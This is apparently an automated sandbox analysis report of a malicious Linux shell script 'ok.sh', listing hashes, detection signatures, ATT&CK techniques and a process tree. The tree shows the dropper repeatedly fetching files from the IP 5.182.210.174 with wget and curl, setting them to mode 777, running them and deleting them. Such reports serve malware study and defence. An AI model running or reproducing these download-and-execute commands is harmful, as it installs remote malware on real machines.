57d1362fadc11557ae079621672173a25bf10f7a9a37d3e135b64b03d6490462

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
14/08/2026, 06:55

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General

Target
ok.sh
Size 1KB
Sample260814-hp9mpaxbpc
SHA256 57d1362fadc11557ae079621672173a25bf10f7a9a37d3e135b64b03d6490462
MD5 0c3006f484b8b8a589a2654880363bbd
SHA1 e9f8e0fc4883cea4b240fa7df4c338d2a9aabd05
SHA512 0103da7f6a1373b7e14ab47f90fbb5bb40ada8eaa562a3871365794fa0e6c973a487c09a799e1d1586f8f8cb194b12b8781b0d8b593cf55d2c52bae9246ba8c3
TLSH
T19C3163AF04145A351142CA9D73B26549B5CDB2FB2CAFCBD098484DE983887CCF261F5E
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
676	chmod
684	chmod
691	chmod
698	chmod
734	chmod
759	chmod
778	chmod
820	chmod
715	chmod
771	chmod
785	chmod
799	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/90cb09	677	ok.sh
/tmp/c99e43	685	ok.sh
/tmp/657b82	692	ok.sh
/tmp/320b53	699	ok.sh
/tmp/eb77a9	716	ok.sh
/tmp/60f898	736	ok.sh
/tmp/1903e1	760	ok.sh
/tmp/828087	772	ok.sh
/tmp/70d8b3	779	ok.sh
/tmp/671030	786	ok.sh
/tmp/8bf1cf	801	ok.sh
/tmp/8413a4	821	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8413a4	curl
File opened for modification	/tmp/90cb09	curl
File opened for modification	/tmp/c99e43	curl
File opened for modification	/tmp/657b82	curl
File opened for modification	/tmp/eb77a9	curl
File opened for modification	/tmp/60f898	curl
File opened for modification	/tmp/1903e1	curl
File opened for modification	/tmp/671030	curl
File opened for modification	/tmp/8bf1cf	curl
File opened for modification	/tmp/320b53	curl
File opened for modification	/tmp/828087	curl
File opened for modification	/tmp/70d8b3	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:647
- /usr/bin/wget
  wget http://5.182.210.174/90cb09
  2⤵
  PID:652
- /usr/bin/curl
  curl -O http://5.182.210.174/90cb09
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:669
- /bin/chmod
  chmod 777 90cb09
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/90cb09
  ./90cb09 bc
  2⤵
  PID:677
- /bin/rm
  rm -rf 90cb09
  2⤵
  PID:679
- /bin/rm
  rm -rf 90cb09.1
  2⤵
  PID:680
- /usr/bin/wget
  wget http://5.182.210.174/c99e43
  2⤵
  PID:682
- /usr/bin/curl
  curl -O http://5.182.210.174/c99e43
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 c99e43
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/c99e43
  ./c99e43 bc
  2⤵
  PID:685
- /bin/rm
  rm -rf c99e43
  2⤵
  PID:687
- /bin/rm
  rm -rf c99e43.1
  2⤵
  PID:688
- /usr/bin/wget
  wget http://5.182.210.174/657b82
  2⤵
  PID:689
- /usr/bin/curl
  curl -O http://5.182.210.174/657b82
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:690
- /bin/chmod
  chmod 777 657b82
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/657b82
  ./657b82 bc
  2⤵
  PID:692
- /bin/rm
  rm -rf 657b82
  2⤵
  PID:694
- /bin/rm
  rm -rf 657b82.1
  2⤵
  PID:695
- /usr/bin/wget
  wget http://5.182.210.174/320b53
  2⤵
  PID:696
- /usr/bin/curl
  curl -O http://5.182.210.174/320b53
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod 777 320b53
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/320b53
  ./320b53 bc
  2⤵
  PID:699
- /bin/rm
  rm -rf 320b53
  2⤵
  PID:701
- /bin/rm
  rm -rf 320b53.1
  2⤵
  PID:702
- /usr/bin/wget
  wget http://5.182.210.174/eb77a9
  2⤵
  PID:703
- /usr/bin/curl
  curl -O http://5.182.210.174/eb77a9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:708
- /bin/chmod
  chmod 777 eb77a9
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/eb77a9
  ./eb77a9 bc
  2⤵
  PID:716
- /bin/rm
  rm -rf eb77a9
  2⤵
  PID:719
- /bin/rm
  rm -rf eb77a9.1
  2⤵
  PID:721
- /usr/bin/wget
  wget http://5.182.210.174/60f898
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://5.182.210.174/60f898
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 60f898
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/60f898
  ./60f898 bc
  2⤵
  PID:736
- /bin/rm
  rm -rf 60f898
  2⤵
  PID:739
- /bin/rm
  rm -rf 60f898.1
  2⤵
  PID:740
- /usr/bin/wget
  wget http://5.182.210.174/1903e1
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://5.182.210.174/1903e1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 1903e1
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/1903e1
  ./1903e1 bc
  2⤵
  PID:760
- /bin/rm
  rm -rf 1903e1
  2⤵
  PID:763
- /bin/rm
  rm -rf 1903e1.1
  2⤵
  PID:766
- /usr/bin/wget
  wget http://5.182.210.174/828087
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://5.182.210.174/828087
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod 777 828087
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/828087
  ./828087 bc
  2⤵
  PID:772
- /bin/rm
  rm -rf 828087
  2⤵
  PID:774
- /bin/rm
  rm -rf 828087.1
  2⤵
  PID:775
- /usr/bin/wget
  wget http://5.182.210.174/70d8b3
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://5.182.210.174/70d8b3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/chmod
  chmod 777 70d8b3
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/70d8b3
  ./70d8b3 bc
  2⤵
  PID:779
- /bin/rm
  rm -rf 70d8b3
  2⤵
  PID:781
- /bin/rm
  rm -rf 70d8b3.1
  2⤵
  PID:782
- /usr/bin/wget
  wget http://5.182.210.174/671030
  2⤵
  PID:783
- /usr/bin/curl
  curl -O http://5.182.210.174/671030
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod 777 671030
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/671030
  ./671030 bc
  2⤵
  PID:786
- /bin/rm
  rm -rf 671030
  2⤵
  PID:788
- /bin/rm
  rm -rf 671030.1
  2⤵
  PID:789
- /usr/bin/wget
  wget http://5.182.210.174/8bf1cf
  2⤵
  PID:790
- /usr/bin/curl
  curl -O http://5.182.210.174/8bf1cf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod 777 8bf1cf
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/8bf1cf
  ./8bf1cf bc
  2⤵
  PID:801
- /bin/rm
  rm -rf 8bf1cf
  2⤵
  PID:803
- /bin/rm
  rm -rf 8bf1cf.1
  2⤵
  PID:805
- /usr/bin/wget
  wget http://5.182.210.174/8413a4
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://5.182.210.174/8413a4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 8413a4
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/8413a4
  ./8413a4 bc
  2⤵
  PID:821
- /bin/rm
  rm -rf 8413a4
  2⤵
  PID:824
- /bin/rm
  rm -rf 8413a4.1
  2⤵
  PID:825

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

90cb09

Path /tmp/90cb09
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads